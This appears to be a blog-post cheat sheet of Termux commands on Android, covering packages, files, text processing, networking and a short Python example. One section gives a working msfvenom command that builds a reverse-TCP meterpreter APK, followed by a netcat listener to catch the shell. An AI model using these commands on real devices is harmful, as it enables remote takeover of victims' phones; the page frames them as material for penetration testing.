Denizhalil

Termux Command Cheat Sheet

Entrance

Welcome to this comprehensive guide on Termux, a powerful terminal emulator and Linux environment application for Android devices. This guide is designed to assist users of all levels in navigating the functionalities of Termux, offering a wealth of information on basic commands, file management, network tools, development utilities, and more.

Whether you’re a beginner looking to familiarize yourself with the Linux command line or an experienced developer seeking to exploit the full potential of Termux apk, this handbook provides practical commands and tips for a variety of uses. It also delves into more advanced topics such as creating payloads and viruses for ethical hacking, and performing file operations with Python. This guide is your go-to resource for exploring the versatility and power of Termux,

Termux Basic Commands

  • pkg update: Updates the package list.
  • pkg upgrade: Upgrades installed packages.
  • pkg install [package_name]: Installs a new package (e.g., pkg install python).
  • termux-setup-storage: Requests permission for storage access (to access your files).
  • termux-wake-lock: Prevents the device from sleeping while Termux is running.
  • termux-wake-unlock: Releases the wake lock set by termux-wake-lock.

File Management

  • ls: Lists files and directories in the current directory.
  • cd [directory_path]: Changes the directory (e.g., cd /sdcard).
  • mkdir [directory_name]: Creates a new directory.
  • rm [file_name]: Deletes a file.
  • cp [source] [destination]: Copies a file from one location to another.
  • tar -xzvf [archive_name.tar.gz]: Extracts a compressed archive.
  • zip -r [archive_name.zip] [directory_name]: Creates a ZIP archive of a directory.
  • unzip [archive_name.zip]: Extracts a ZIP archive.

Text Editing and Processing

  • nano [file_name]: Opens the Nano text editor.
  • cat [file_name]: Displays the content of a file.
  • grep [word] [file_name]: Searches for a specific word in a file.
  • join [file1] [file2]: Joins lines of two files on a common field.
  • less [file_name]: Views the content of a file one screen at a time.
  • more [file_name]: An older pager program similar to less.

Network Tools

  • ping [website_address]: Pings a website.
  • curl [website_address]: Retrieves the content of a website.
  • wget [file_link]: Downloads a file from the internet.
  • ifconfig: Configures or displays network interface parameters for a network interface controller.
  • iptables -L: Lists the set of rules used by the iptables firewall.
  • host [domain]: Performs DNS lookups.

Special Packages and Tools

  • git: Version control system.
  • python: Installs the Python programming language.
  • ssh: Used for secure shell connections.
  • postgresql: Installs PostgreSQL, an advanced open source database system.
  • nmap: Network exploration tool and security/port scanner.
  • openssh: Installs OpenSSH, a suite of secure networking utilities based on the SSH protocol.
  • r: Installs R, a language and environment for statistical computing and graphics.

Extended File Management Commands

  • touch [file_name]: Creates a new empty file.
  • mv [source] [destination]: Moves or renames a file or directory.
  • find [directory] -name [search_pattern]: Searches for files or directories within a specified directory.
  • diff -r [directory1] [directory2]: Compares files in two directories recursively.
  • tree [directory_name]: Displays a tree representation of directory structure.
  • df -h: Shows disk space usage of all mounted filesystems in a human-readable format.
  • fdisk -l: Lists the partition tables for the specified devices and their partitions.

Advanced Text Processing

  • sed 's/[old_string]/[new_string]/g' [file_name]: Replaces all occurrences of a string in a file.
  • awk '/[pattern]/ {action}' [file_name]: Scans a file line by line and performs actions on lines that match a pattern.
  • tail -n [number] [file_name]: Displays the last few lines of a file.
  • fold -w [width] [file_name]: Wraps each input line to fit in specified width.
  • tac [file_name]: Concatenate and print files in reverse.
  • sed -n [pattern]p [file_name]: Prints only those lines that match the pattern.
  • awk 'BEGIN {action}' [file_name]: Executes an action before reading the lines of a file.
termux
termux apk
termux command guide
termux f droid

System Information and Management

  • top: Displays real-time system processes and resource usage.
  • df: Shows disk space usage.
  • uptime: Shows how long the system has been running.
  • who: Shows who is logged on.
  • w: Shows who is logged in and what they are doing.
  • last: Shows a listing of last logged in users.

Networking and Connectivity

  • nmap [ip_address/domain]: Scans for open ports on a network host.
  • ssh [user]@[host]: Connects to a remote host via SSH.
  • scp [source] [user]@[host]:[destination]: Securely copies files between hosts over SSH.

Package Management and Customization

  • pkg list-installed: Lists all installed packages.
  • pkg search [package_name]: Searches for a package in the repositories.
  • termux-change-repo: Allows changing the repositories for updating and installing packages.

Development Tools

  • git clone [repository_url]: Clones a Git repository.
  • python -m http.server: Starts a simple HTTP server in the current directory (useful for testing web pages).
  • gem install [gem_name]: Installs Ruby gems.
  • make: Builds and compiles a project from source code.
  • gradle build: Builds a project using Gradle, often used for Java and Android projects.
  • vim [file]: Edits files using Vim, a powerful text editor.
  • nano [file]: Edits files in Nano, a simpler text editor.

Payload and Virus with Termux

msfvenom is a payload generator tool from the Metasploit Framework that is used to create custom payloads for various platforms. Below are examples of how to create payloads using msfvenom. Remember, these payloads are for ethical hacking and penetration testing purposes only and should only be used in a legal context, with explicit permission.

Android Payload
  • Description: Create a reverse TCP payload for an Android application.
  • Command:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<Your-IP> LPORT=4444 R > android_payload.apk
  • Explanation: This command generates an Android APK file (android_payload.apk) that establishes a reverse TCP connection to the specified IP address (<Your-IP>) and port (4444).

Setting Up a Listener with nc for Metasploit Payloads

Netcat is a versatile networking tool used for a variety of network tasks, including setting up simple listeners:

  • Listen on a Port: To set up a listener, use the following command:
$ nc -lvnp 4444
  • Here, 4444 is the port number. Ensure it matches the port number used in your payload.
  • Wait for Connection: Once you run this command, Netcat will listen on the specified port for incoming connections. When the target executes the payload (e.g., a reverse shell), you should see the connection on this terminal.

Coding With Termux

Python: File Operations
  1. Script Example:
    • This Python script will create a file, write some text to it, then read and print the content, and finally close the file.
    • Save this script as file_ops.py.
# file_ops.py
def main():
    filename = "testfile.txt"

    # Writing to a file
    with open(filename, 'w') as file:
        file.write("Hello, Termux!")

    # Reading from the file
    with open(filename, 'r') as file:
        content = file.read()
        print(content)

if __name__ == "__main__":
    main()
  1. Editing with Nano:
    • Open Termux and type nano file_ops.py to create/edit the file.
    • After pasting or typing the script, press CTRL+O then Enter to save and CTRL+X to exit nano.
  2. Running the Script:
    • In Termux apk, run the script using python file_ops.py.

What you’ve seen here is just the beginning. In my extensive 25-page Termux cheat sheet guide, prepared especially for you, you’ll find an abundance of information that’s crucial for your journey.
This guide encompasses advanced:
* command processes
* web penetration testing
* OSINT techniques
* sophisticated coding practices, and the creation of payloads and viruses, among other critical topics. To unlock this wealth of knowledge and take your skills to the next level, make sure to check out the link below. This comprehensive resource is designed to not only inform but also transform your understanding and application of Termux, paving your way towards becoming an adept user

Shortcuts and Tips

  • Long-press the terminal for additional options like paste, more, and keyboard shortcuts.
  • You can use Termux’s API calls for accessing device features like the camera, microphone, etc., by installing the termux-api package.
  • Customize your Termux environment with .bashrc or .zshrc for bash or zsh shells, respectively, to add aliases, functions, and environment variables.

Scripting and Automation

  • Write Bash or Python scripts to automate tasks. Place them in a directory like ~/bin and add this directory to your PATH for easy execution.

Security

  • Use passwd to set a password for SSH sessions.
  • Keep your packages updated for security and stability.

Tips

  • Access keyboard shortcuts in the app by tapping the keyboard icon at the top left corner of the screen.
  • Use the exit command to end the Termux session.
  • Append & to commands to run processes in the background.

This cheat sheet should help you get started with Termux. For more detailed information and commands, consider checking Termux’s official documentation or community forums.

4 thoughts on “Termux Command Cheat Sheet”

  1. Wow Thanks for this write-up i find it hard to obtain beneficial knowledge out there when it comes to this content appreciate for the review website

    Reply
  2. Wow Thanks for this article i find it hard to get exceptional resources out there when it comes to this content appreciate for the blog post website

    Reply

Leave a Comment

Join our Mailing list!

Get all latest news, exclusive deals and academy updates.